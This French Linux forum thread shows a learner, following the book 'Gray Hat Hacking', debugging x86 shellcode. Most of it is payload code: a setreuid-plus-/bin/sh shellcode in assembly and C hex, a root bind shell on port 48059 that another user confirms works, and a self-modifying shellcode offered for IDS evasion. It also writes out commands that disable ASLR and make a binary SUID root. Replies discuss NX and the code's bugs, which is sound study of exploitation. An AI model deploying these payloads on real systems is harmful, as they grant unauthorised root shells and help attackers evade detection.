Contenu | Rechercher | Menus

Annonce

Si vous avez des soucis pour rester connecté, déconnectez-vous puis reconnectez-vous depuis ce lien en cochant la case
Me connecter automatiquement lors de mes prochaines visites.

À propos de l'équipe du forum.

#1 Le 09/12/2009, à 22:14

boogy

problème avec ce bout de code !!!

Salut tout le monde

Je suis en train de lire et d'aprendre un peu l'art d'exploiter les failles de sécurité, et j'ai apris pas mal de choses.

Actuellement je suis au chapitre qui t'aprend à créer ton propre shellcode avec l'aide d'assambleur et d'objdump.

Mais voici le problème. J'ai repris le même code que dans le livre j'ai compilé donner le droits SUID, desactiver le randomize_va_space avec la commande

echo 0 > /proc/sys/kernel/randomize_va_space

les commandes pour la compilation :

nasm -f elf fichier.asm
ld -o fichier fichier.o
chown root fichier
chmod u+s fichier (pour prendre les droits root à l'execution)

mais à l'execution il me donne toujours un segmentation fault !!!! Qlq'un pourai-t-il m'aider SVP ?
VOICI LE CODE assambleur :

section .text		;start the code section of the asm
global _start 		;declare global label

_start:			;get the habit of using code labels
;setruid(0,0)		;the signature of the setruid system call
xor eax,eax		;clear the eax registry, prepare for next line
mov al, 0x46		;set the syscall # to decimal 70 or hex 46, one byte
xor ebx,ebx		;clear the ebx registry
xor ecx,ecx		;clear the ecx registry
int 0x80		        ;call the kernel to execute the syscall

;spawn shellcode with execve
xor eax,eax		;clears the eax registry, sets to 0
push eax		        ;push a NULL value on the stac, value of eax
push 0x68732f2f		;push '//sh' onto the stac, padded with leading '/'
push 0x6e6922f		;push '/bin' on to the stack,notice strings in reverse
mov ebx,esp		;since esp now points to '/bin/sh',write to eax
push eax		        ;eax is still NULL, let's terminate char ** argv on stack
push ebx		        ;still need a pointer to the adress of '/bin/sh' use ebx
mov ecx,esp		;now esp holds the adress of argv,move it to ecx
xor edx,edx		;set edx to zero(NULL), not needed
int 0x80		        ;call the kernel to execute the syscall

Merci beaucoup pour votre aide

La version en C pour les exploits c'est ca :

char sc[] = //White space, such as carriage returns don't matter
	//setruid(0,0)
	"\x31\xc0"		//	xor	%eax,%eax
	"\xb0\x46"		//	mov	%0x46,%al
	"\x31\xdb"		//	xor	%ebx,%ebx
	"\x31\xc9"		//	xor	%ecx,%ecx
	"\xcd\x80"		//	int	$0x80
	//spawn shellcode with execve
	"\x31\x80"		//	xor	%eax,%eax
	"\x50"			//	push	%eax
	"\x68\x2f\x2f\x73\x68"	//	push	%0x68732f2f
	"\x68\x2f\x62\x69\x6e"	//	push	%0x6e69622f
	"\x89\xe3"		//	mov	%esp,%ebx
	"\x50"			//	push	%eax
	"\x53"			//	push	%ebx
	"\x89\xe1"		//	mov	%esp,%ecx
	"\x31\xd2"		//	xor	%edx,%edx
	"\xb0\x0b"		//	mov	$0xb,%al
	"\xcd\x80";		//	int	$0x80	(;)terminate the string

main ()
{
	void (*fp) (void);	//	declare a function pointe, fp
	fp = (void *)sc;	//	set the adress of fp to our shellcode
	fp();			//	execute the functione (the shellcode)
}

WHERE THERE IS A SHELL, THERE IS A WAY
Success is to be measured not so much by the position that one has reached in life as by the obstacles which he has overcome.
Documentation
www.tuxgeek.org

Hors ligne

#2 Le 09/12/2009, à 23:01

sputnick

Re : problème avec ce bout de code !!!

Han un tipiak !
C'est quoi ton bouquin ?


On ne peut pas mettre d'array dans un string!
https://sputnick.fr/

Hors ligne

#3 Le 09/12/2009, à 23:11

boogy

Re : problème avec ce bout de code !!!

le livre s'appelle GRAY HAT HACKING (The Ethical Hacker's Handbook)
il est super bien et c'est super bien expliqué.
Mais il faut parler anglais car je ne crois pas qu'il existe en français.


WHERE THERE IS A SHELL, THERE IS A WAY
Success is to be measured not so much by the position that one has reached in life as by the obstacles which he has overcome.
Documentation
www.tuxgeek.org

Hors ligne

#4 Le 09/12/2009, à 23:15

boogy

Re : problème avec ce bout de code !!!

J'ai refais encore un code mais pour créer une connexion sur le port local 48059 et sur l'adresse IP du localhost. après vous pouvez vous connecter avec netcat

MAIS BON J'AIMERAI TOUJOURS SAVOIR PK LE PREMIER ME DONNE UN SEGMENTATION FAULT

BITS 32
section .text
global _start
_start:
xor eax,eax		;clear eax
xor ebx,ebx		;clear ebx
xor ecx,ecx		;clear ecx

;server=socket(2,1,0)
push eax		;third arg to socket :0
push byte 0x1		;second arg to socket :1
push byte 0x2		;first arg to socket : 2
mov ecx,esp		;set addr of array as 2nd arg to socketcall
inc bl			;set first arg to socketcall to # 1
mov al,102		;call socketcall # 1 : SYS_SOCKET
int 0x80		;jump in to kernel mode, execute the syscall
mov esi,eax		;store the return value (eax) into esi (server)

;bind(server,(struct sockaddr *)&serv_addr,0x10)
push edx		;still zero,terminate the next value pushed
push long 0xBBBB02BB	;build struct:port,sin.familly:02,& any 2 bytes:BB:decimal 48059
mov ecx,esp		;move addr struct (on stack) to ecx
push byte 0x10		;begin the bind args, push 16(size) on stack
push ecx		;save address of struct back on stack
push esi		;save server file descriptor (now in esi) to stack
mov ecx,esp		;set addr of array as 2nd arg to socketcall
inc bl			;set bl to # 2 first arg to socketcall
mov al,102		;call socketcall # 2 :SYS BIND
int 0x80		;jump into kernel mode,execute the syscall

;listen(server,0)
push edx		;still zero, used to terminate the next value pushed
push esi		;file descriptor for server (esi) pushed to stack
mov ecx,esp		;set addr of array as 2nd arg to socketcall
mov bl,0x4		;move 4 into bl, first arg to socketcall
mov al,102		;call socketcall # 4 : SYS_LISTEN
int 0x80		;jump into kernel mode, execute the syscall

;client=accept(server,0,0)
push ebx		;still zero, third argument to accept pushed to stack
push edx		;still zero, second argument to accept pushed to stacl
push esi		;saved file descriptor for server pushed to stack
mov ecx,esp		;args placed into ecx, server as 2nd arg to socketcall
inc bl			;increment bl to 5, first arg of socketcall
mov al,102		;call socketcall # 5 : SYS_ACCEPT
int 0x80		;jump into kernel mode, execute the syscall

;prepare for dump 2 commands, need client file handle saved in ebx
mov ebx,eax		;copied returned file descriptor of client to ebx

;dup2(client,0)
xor ecx,ecx		;clear ecx
mov al,63		;set first arg of syscall to 0x63: dup2
int 0x80		;jump into

;dup2(client,1)
inc ecx			;increment ecx
mov al,63		;prepare for syscall to dup2:63
int 0x80		;jump unto

;dup2(client,2)
inc ecx			;increment ecx
mov al,63		;prepare for syscall to dup2:63
int 0x80		;jump into

;standard execve("/bin/sh"....
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0x0b
int 0x80

Compiler :
nasm -f elf fichier
ld -o fichier fichier.o
./fichier

connexion :
nc localhost PORT

puis voilà vous avez un shell root smile

Dernière modification par boogy (Le 09/12/2009, à 23:16)


WHERE THERE IS A SHELL, THERE IS A WAY
Success is to be measured not so much by the position that one has reached in life as by the obstacles which he has overcome.
Documentation
www.tuxgeek.org

Hors ligne

#5 Le 09/12/2009, à 23:36

sputnick

Re : problème avec ce bout de code !!!

Heu, si il faut faire

echo 0 > /proc/sys/kernel/randomize_va_space

il faut deja etre root hmm


On ne peut pas mettre d'array dans un string!
https://sputnick.fr/

Hors ligne

#6 Le 10/12/2009, à 12:08

yohann

Re : problème avec ce bout de code !!!

Ton 2eme exemple ne me donne pas les droits root.

./fichier depuis mon user normal me permet de me connecter avec netcat, et d'obtenir un shell (mais pas root)

lancer ./fichier en root, me donne un joli segfault.

(en meme temps ce serait étonnant et décevant qu'un exploit de ce genre se retrouve publié dans un bouquins et ne soit toujours pas comblé.)


j.vachez, le génie du net | Soirées jeux sur Lyon | 441
++++++++++[>+++++++>++++++++++>+++<<<-]>++.>+.+++++++
..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.

Hors ligne

#7 Le 10/12/2009, à 13:02

sputnick

Re : problème avec ce bout de code !!!

Essayez pour la beauté du geste sur une vieille galette cd de votre premiere distrib peux etre wink


On ne peut pas mettre d'array dans un string!
https://sputnick.fr/

Hors ligne

#8 Le 10/12/2009, à 14:35

boogy

Re : problème avec ce bout de code !!!

sputnick a écrit :

Heu, si il faut faire

echo 0 > /proc/sys/kernel/randomize_va_space

il faut deja etre root hmm

Bien sur que je l'ai fait en root smile


WHERE THERE IS A SHELL, THERE IS A WAY
Success is to be measured not so much by the position that one has reached in life as by the obstacles which he has overcome.
Documentation
www.tuxgeek.org

Hors ligne

#9 Le 10/12/2009, à 14:39

boogy

Re : problème avec ce bout de code !!!

@ yohann :

Il faut l'executer en tant que root. Parce que c'est un shellcode (EXEMPLE DE SHELLCODE) à intégrer dans les exploits pour obtenir un shell root mais sur un prog qui a le SUID. Le 2ème exemple fonctionne très bien chez moi. je l'ai executé en root puis après dans un autre terminal je me connete avec netcat et ca marche si je fais un ID = "Reponse root(0)"

Et il ne faut pas oublié que c'est un exemple de shellcode (ET NON UN EXPLOIT) que j'ai fait moi même. Essaye aussi de desactiver le randomize_va_space s'il est activé sur ton PC avec la commande :

sudo echo 0 > /proc/sys/kernel/randomize_va_space

MAIS MON PROBLEME C'EST LE PREMIER BOUT DE CODE QUI ME DONNE UN SEGMENT FAULT ALORS QU'IL DEVRAIS PAS. EST-CE QUE J'AI FAIT UNE ERREUR DANS LE CODE ?

Dernière modification par boogy (Le 10/12/2009, à 14:43)


WHERE THERE IS A SHELL, THERE IS A WAY
Success is to be measured not so much by the position that one has reached in life as by the obstacles which he has overcome.
Documentation
www.tuxgeek.org

Hors ligne

#10 Le 10/12/2009, à 15:02

yohann

Re : problème avec ce bout de code !!!

effectivment, apres désactivation du randomize_va_space plus de segfault en lancant le shellcode en root
et je deviens root avec netcat,

marrant!


j.vachez, le génie du net | Soirées jeux sur Lyon | 441
++++++++++[>+++++++>++++++++++>+++<<<-]>++.>+.+++++++
..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.

Hors ligne

#11 Le 10/12/2009, à 18:46

boogy

Re : problème avec ce bout de code !!!

pas mal de programmer en assambleur HEIN wink


WHERE THERE IS A SHELL, THERE IS A WAY
Success is to be measured not so much by the position that one has reached in life as by the obstacles which he has overcome.
Documentation
www.tuxgeek.org

Hors ligne

#12 Le 11/12/2009, à 00:23

Link31

Re : problème avec ce bout de code !!!

boogy a écrit :

MAIS MON PROBLEME C'EST LE PREMIER BOUT DE CODE QUI ME DONNE UN SEGMENT FAULT ALORS QU'IL DEVRAIS PAS. EST-CE QUE J'AI FAIT UNE ERREUR DANS LE CODE ?

.tolower()

Je n'ai pas vérifié s'il y a une erreur dans ton code, mais la moindre protection de type NX ou W^X fait facilement échouer ce genre de tentative. Es-tu sur une architecture amd64 ?

Je ne pense pas qu'on puisse facilement désactiver le NX, il y a peut-être un paramètre de boot pour ça mais je n'en suis plus certain. Et tant qu'à passer un paramètre de boot, autant passer "init=/home/user/exploit" wink

Et ça n'a rien d'impressionnant d'écrire en assembleur une suite de syscalls. Tu pourrais faire la même chose en C ou en shell beaucoup plus facilement et ce n'est même pas influencé par le NX bit. De plus, contrairement à un shellcode, ça ne sert à rien en soi tongue

Dernière modification par Link31 (Le 11/12/2009, à 00:24)

Hors ligne

#13 Le 11/12/2009, à 01:11

sputnick

Re : problème avec ce bout de code !!!

Link31 a écrit :

.tolower()

Mwarf big_smile

Ben wé PAS LA PEINE DE CRIER HEIN !


On ne peut pas mettre d'array dans un string!
https://sputnick.fr/

Hors ligne

#14 Le 14/12/2009, à 12:59

boogy

Re : problème avec ce bout de code !!!

Link31 a écrit :

Et ça n'a rien d'impressionnant d'écrire en assembleur une suite de syscalls. Tu pourrais faire la même chose en C ou en shell beaucoup plus facilement et ce n'est même pas influencé par le NX bit. De plus, contrairement à un shellcode, ça ne sert à rien en soi tongue

L'important ici ce n'est pas de faire des syscalls c'est de pouvoir implementer ce genre du code dans des exploit, alros qu'avec du code C ou bash ca ne marche pas. Car c'est plus facile de convertire du Assambleur en RAW HEXA que de le faire du C ou bash non ?

Après tu mets tous ca dans un prog en C du stille :

char shellcode[] = "\xeb\x1c\x5a\x89\xd6\x8b\x02\x66\x3d\xca\x7d\x75\x06\x66\x05\x03\x03\x89\x02\xfe\xc2\x3d\x41\x41\x41\x41\x75\xe9\xff\xe6\xe8\xdf\xff\xff\xff\x31\xd2\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xca\x7d\x41\x41\x41\x41";

int main ()
{
	printf("Length: %d bytes\n", strlen(shellcode));
	int (*sc)() = (int (*)())shellcode;
	sc();
	return 0;
}

Description:
linux/x86 Self-modifying ShellCode for IDS evasion
creates int $0x80 syscalls on runtime.


WHERE THERE IS A SHELL, THERE IS A WAY
Success is to be measured not so much by the position that one has reached in life as by the obstacles which he has overcome.
Documentation
www.tuxgeek.org

Hors ligne

#15 Le 28/12/2009, à 23:07

ares

Re : problème avec ce bout de code !!!

Sans être un spécialiste :

;spawn shellcode with execve
xor eax,eax        ;clears the eax registry, sets to 0
(...)
int 0x80                ;call the kernel to execute the syscall

Il n'existe pas d'appel "syscall" avec ax=0 (sauf erreur de ma part!)

Ton code est très lourd... en octets !
Regarde ICI pour faire "maigrir" ton code smile
Bonne route !

Hors ligne